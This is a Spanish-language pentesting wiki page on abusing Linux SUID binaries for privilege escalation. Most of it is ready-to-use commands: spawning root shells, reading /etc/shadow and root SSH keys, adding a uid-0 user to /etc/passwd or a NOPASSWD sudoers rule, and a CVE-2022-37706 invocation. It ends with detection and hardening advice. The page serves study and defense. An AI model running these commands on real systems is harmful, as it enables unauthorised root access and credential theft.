the_open_door
café
ESEN
← Volver al índice

Abusing SUID binaries

Arsenal completo de comandos en la cheatsheet

En Linux, el bit SUID (Set User ID, permiso s en la columna del propietario, p. ej. -rwsr-xr-x) hace que un ejecutable corra con los privilegios de su dueño, no con los de quien lo lanza. Su uso legítimo es dar a un usuario normal una tarea acotada que necesita privilegios (el caso clásico es passwd, propiedad de root, que debe escribir en /etc/shadow). El problema es que un binario SUID de root que haga más de lo que debería (ejecutar otros programas, leer o escribir ficheros arbitrarios, interpretar comandos) se convierte en una vía de escalada: el atacante hereda root a través de él.

Enumeración

Buscar ficheros con el bit SUID (y su primo SGID) en todo el sistema:

find / -perm -4000 -type f 2>/dev/null            # SUID
find / -perm -6000 -type f 2>/dev/null            # SUID + SGID
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null

Comparar la lista contra la de un sistema limpio: lo que sobra (nmap, vim, find, python, un binario en /opt) es el candidato. linpeas la resalta en amarillo/rojo.

La regla de oro: cada línea de abajo es una invocación distinta según qué binario tenga el bit. El -p es clave: sin él, bash/sh descartan el UID efectivo elevado al arrancar (privilege drop); con -p conservan el euid=0. GTFOBins cataloga la invocación exacta de cientos de binarios; abajo van las familias por caso.

Spawn directo de shell root

Binarios que ejecutan otros programas o interpretan comandos. Si el SUID es de esta lista, es shell inmediata. Elegir la línea del binario que tengamos:

bash -p
env /bin/sh -p
find . -exec /bin/sh -p \; -quit
nmap --interactive                                 # y dentro: !sh   (nmap antiguo)
echo 'os.execute("/bin/sh")' > /tmp/x.nse; nmap --script=/tmp/x.nse   # nmap moderno
awk 'BEGIN {system("/bin/sh -p")}'
gawk 'BEGIN {system("/bin/sh -p")}'
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/sh -p";'
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
ruby -e 'Process::Sys.setuid(0); exec "/bin/sh -p"'
node -e 'process.setuid(0); require("child_process").spawn("/bin/sh",["-p"],{stdio:[0,1,2]})'
lua -e 'os.execute("/bin/sh -p")'

Los editores/paginadores tienen su propio escape a shell (útil cuando el SUID es vim, less o man):

vim.basic -c ':py3 import os; os.setuid(0); os.execl("/bin/sh","sh","-pc","reset; exec sh -p")'
less /etc/profile                                  # y dentro: !/bin/sh -p
man man                                            # y dentro: !/bin/sh -p

Lectura de ficheros arbitrarios como root

Cuando el SUID solo lee (no da shell), sirve para volcar /etc/shadow y crackear el hash, o leer la clave SSH de root. Un binario por línea:

cat /etc/shadow
base64 /etc/shadow | base64 -d
xxd /etc/shadow | xxd -r
od -An -c /etc/shadow
cut -d: -f1 /root/.ssh/id_rsa                       # cut leyendo la clave
tail -c1G /etc/shadow                               # tail volcando entero
sed '' /etc/shadow                                  # sed sin script = cat

Escritura de ficheros arbitrarios como root

Cuando el SUID escribe, el camino más limpio es añadirnos a /etc/passwd con contraseña propia (evita tocar /etc/shadow). El hash $1$... se genera con openssl:

openssl passwd -1 -salt hax pass123                 # -> $1$hax$....  copia el hash
echo 'hax:$1$hax$ROUNDS...:0:0:root:/root:/bin/bash' | tee -a /etc/passwd   # tee SUID
printf 'hax:$1$hax$...:0:0::/root:/bin/bash\n' | dd of=/etc/passwd oflag=append conv=notrunc   # dd SUID
cp /etc/passwd /tmp/p; echo 'hax:...:0:0::/root:/bin/bash' >> /tmp/p; cp /tmp/p /etc/passwd     # cp SUID

Luego su hax (contraseña pass123) da root. Alternativa: escribir una regla en /etc/sudoers (echo 'user ALL=(ALL) NOPASSWD:ALL' | tee -a /etc/sudoers) o dejar un bash con SUID.

Binarios de terceros vulnerables (CVE)

Software instalado que trae su propio SUID con fallos. No se abusa de una función, se explota un bug. Ejemplo: Enlightenment 0.23.1 / CVE-2022-37706, donde enlightenment_sys no saneaba una ruta de montaje y un nombre de directorio manipulado ejecutaba código como root:

enlightenment_sys /bin/ -c "/tmp/exploit ; /bin/sh"   # (esquema; ver PoC del CVE por versión)

Determinar la versión exacta del binario y buscar el CVE, igual que con cualquier servicio.

Sub-vectores relacionados cuando el SUID carga código externo: secuestro del PATH (llama a un binario sin ruta absoluta), inyección de librería compartida (hace dlopen de una ruta escribible) y secuestro de LD_LIBRARY_PATH.

Cómo detectarlo. El descubrimiento deja rastro de un find / -perm -4000 masivo (auditd). El abuso tiene una firma clara: un binario SUID lanzando sh -p/bash -p como hijo, o una llamada setuid(0) seguida de shell desde un proceso que no es de administración (auditd sobre execve/setuid, Sysmon for Linux). En reposo, un binario SUID nuevo en /tmp, /dev/shm o el home de un usuario (típico rootbash copiado de /bin/bash con chmod +s) es un indicador directo de post-explotación.

Defensa. Mantener la lista de binarios SUID al mínimo (auditarla periódicamente), quitar el bit a lo que no lo necesite (chmod u-s), preferir capabilities finas en vez de SUID completo, montar particiones de datos con nosuid, y actualizar el software de terceros que instale binarios privilegiados. Relacionado con la manipulación de permisos en Linux y con la reutilización de credenciales como pasos previos típicos.

HerramientasPEASS (lin/winPEAS)

Máquinas donde se aplica